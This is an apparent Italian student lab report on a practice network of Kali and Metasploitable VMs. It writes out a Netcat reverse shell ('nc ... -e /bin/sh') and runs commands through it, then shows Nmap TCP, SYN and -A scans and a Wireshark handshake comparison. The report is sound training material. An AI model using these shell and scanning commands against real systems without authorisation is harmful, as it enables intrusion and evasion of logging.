W9D2 **17-2-2026**

Luca Danisi

TRACCIA NETCAT

Utilizzando Netcat e i relativi comandi, dobbiamo aprire una connessione tra le VM di Kali e Metasploitable, mettendoci in condizione di accedere direttamente dal terminale di Kali in modalità "msfadmin" alla nostra VM si Metasploitable.

LABORATORIO

Apriamo le nostre macchine virtuali di Kali (192.168.50.100) e Metasploitable (192.168.50.101) e dopo averle impostate su rete interna ci assicuriamo che possano comunicare inviando un **ping**.

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of d
ata.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=1
.20 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0
.937 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=1
.01 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=1
.46 ms
^C
--- 192.168.50.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, tim
e 3011ms
rtt min/avg/max/mdev = 0.937/1.152/1.464/0.202 ms
```

SVOLGIMENTO ESERCIZIO

Dal terminale di Kali utilizzando il comando “nc -l-p 1234”, mettendo la nostra VM in ascolto sulla porta 1234

```
┌──(kali㉿kali)-[~]
└─$ nc -l -p 1234
```

successivamente dal terminale di metasploitable, con il comando “nc 192.168.50.100 1234 -e /bin/sh” ,la nostra vm di si collegherà alla porta 1234 di Kali. Come possiamo verificare (attraverso il comando “whoami”) dalla schermata qui sotto Kali è collegata a Metasploitable in modalità “msfadmin”

```
┌──(kali㉿kali)-[~]
└─$ nc -lvp 1234
listening on [any] 1234 ...
192.168.50.101: inverse host lookup failed: Host name lookup f
ailure
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.101] 37
644
whoami
msfadmin
```

Per completare l esercizio, invieremo altri 2 comandi che dimostreranno l avvenuto collegamento da Kali alla VM di Metasploitable:

1) Comando **“uname -a”** , ci darà le informazioni sul kernel di metasploitable:

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:
00 UTC 2008 i686 GNU/Linux
```

2) Comando **“ps aux”** , ci mostrerà i processi attivi su metasploitable :

```
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TI
ME COMMAND
root         1  0.0  0.1   2844  1696 ?        Ss   04:43   0:
00 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   04:43   0:
00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   04:43   0:
00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   04:43   0:
00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   04:43   0:
```

TRACCIA NMAP

Eseguire sulla macchina metasploitable la scansione TCP e SYB sulle porte well-known
Macchina target : 192.168.50.101
Macchina sorgente : 192.168.50.100

Esercizio

1) scansione TCP:

Apriamo il terminale di Kali e con il comando “nmap -sT -p 1-1024 192.168.50.101” , gli stiamo dicendo fai un TCP scan (-sT) delle porte note (-p 1-1024). Come possiamo vedere dalla schermata, il comando ha dato un riscontro delle porte aperte e utilizzate per la connessione TCP

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p 1-1024 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-17 06:03 -0500
Nmap scan report for 192.168.50.101
Host is up (0.010s latency).
Not shown: 1012 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  open  telnet
25/tcp  open  smtp
53/tcp  open  domain
80/tcp  open  http
111/tcp open  rpcbind
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
512/tcp open  exec
513/tcp open  login
514/tcp open  shell
MAC Address: 08:00:27:2D:C2:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.77 seconds
```

2) scansione SYN:

priamo il terminale di Kali e con il comando “nmap -sS -p 1-1024 192.168.50.101” , gli stiamo dicendo manda solo SYN e non completare la connessione, come possiamo vedere, pur generando lo stesso numero di porte, la connessione non viene mai completata (“reset”). Tendenzialmente questo è uno scann più veloce e che non essendo completato non lascia traccia nei log.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -p 1-1024 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-17 06:13 -0500
Nmap scan report for 192.168.50.101
Host is up (0.0025s latency).
Not shown: 1012 closed tcp ports (reset)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  open  telnet
25/tcp  open  smtp
53/tcp  open  domain
80/tcp  open  http
111/tcp open  rpcbind
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
512/tcp open  exec
513/tcp open  login
514/tcp open  shell
MAC Address: 08:00:27:2D:C2:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.77 seconds
```

3) Scansione con swithc “-A”:

Questo tipo di scan, è sicuramente il più invasivo, ovvero il più completo a livello di informazioni generate.
Oltre al sistema operativo e alle versioni software utilizzate ci da anche informazioni relative a vulnerabilità note (come nel caso qui sotto, per la porta 21 ci comunica che il login con “anonymous” è disponibile.
Avere questo livello di informazioni permette di trovare eventuali CVE-→Exploit molto più velocemente.

```
┌──(kali㉿kali)-[~]
└─$ nmap -A -p 1-1024 192.168.50.101
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-17 06:26 -0500
Nmap scan report for 192.168.50.101
Host is up (0.0015s latency).
Not shown: 1012 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.50.100
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp  open  telnet      Linux telnetd
```

FACOLTATIVO

Evidenziare la differenza tra la scansione completa TCP e quella SYN utilizzando Wireshark

1) scansione TCP completa:
Come possiamo vedere dalla riga 8 il nostro “handshake” è avvenuto correttamente

ip.addr == 192.168.50.101

No.	Time	Source	Destination	Protoco	Lengt	Info
1	0.0000000…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.101? Tell 192.168.50.100
2	0.0017343…	PCSSystemtec_2d…	PCSSystemtec_79…	ARP	60	192.168.50.101 is at 08:00:27:2d:c2:f8
3	0.0407661…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
4	1.0473564…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
5	2.0724760…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
6	4.5444674…	192.168.50.100	192.168.50.101	TCP	74	33704 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SA
7	4.5452902…	192.168.50.101	192.168.50.100	TCP	74	80 → 33704 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 M
8	4.5453163…	192.168.50.100	192.168.50.101	TCP	66	33704 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval
9	4.5455319…	192.168.50.100	192.168.50.101	TCP	66	33704 → 80 [RST, ACK] Seq=1 Ack=1 Win=64256 Len=0
10	9.5427414…	PCSSystemtec_2d…	PCSSystemtec_79…	ARP	60	Who has 192.168.50.100? Tell 192.168.50.101
11	9.5427604…	PCSSystemtec_79…	PCSSystemtec_2d…	ARP	42	192.168.50.100 is at 08:00:27:79:33:ba

2) scansione SYN :
A differemza della scansione TCP, il nostro “handshake” non viente completato, infatti in riga 8 manca “l’ACK” , e avremo il messaggio “RST” (reset, questa connessione non esiste)

ip.addr == 192.168.50.101

No.	Time	Source	Destination	Protoco	Lengt	Info
1	0.0000000…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.101? Tell 192.168.50.100
2	0.0012633…	PCSSystemtec_2d…	PCSSystemtec_79…	ARP	60	192.168.50.101 is at 08:00:27:2d:c2:f8
3	0.0721130…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
4	1.0999271…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
5	2.1278714…	PCSSystemtec_79…	Broadcast	ARP	42	Who has 192.168.50.1? Tell 192.168.50.100
6	4.5804016…	192.168.50.100	192.168.50.101	TCP	58	64298 → 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
7	4.5816096…	192.168.50.101	192.168.50.100	TCP	60	80 → 64298 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 M
8	4.5816387…	192.168.50.100	192.168.50.101	TCP	54	64298 → 80 [RST] Seq=1 Win=0 Len=0
9	9.5763282…	PCSSystemtec_2d…	PCSSystemtec_79…	ARP	60	Who has 192.168.50.100? Tell 192.168.50.101
10	9.5763428…	PCSSystemtec_79…	PCSSystemtec_2d…	ARP	42	192.168.50.100 is at 08:00:27:79:33:ba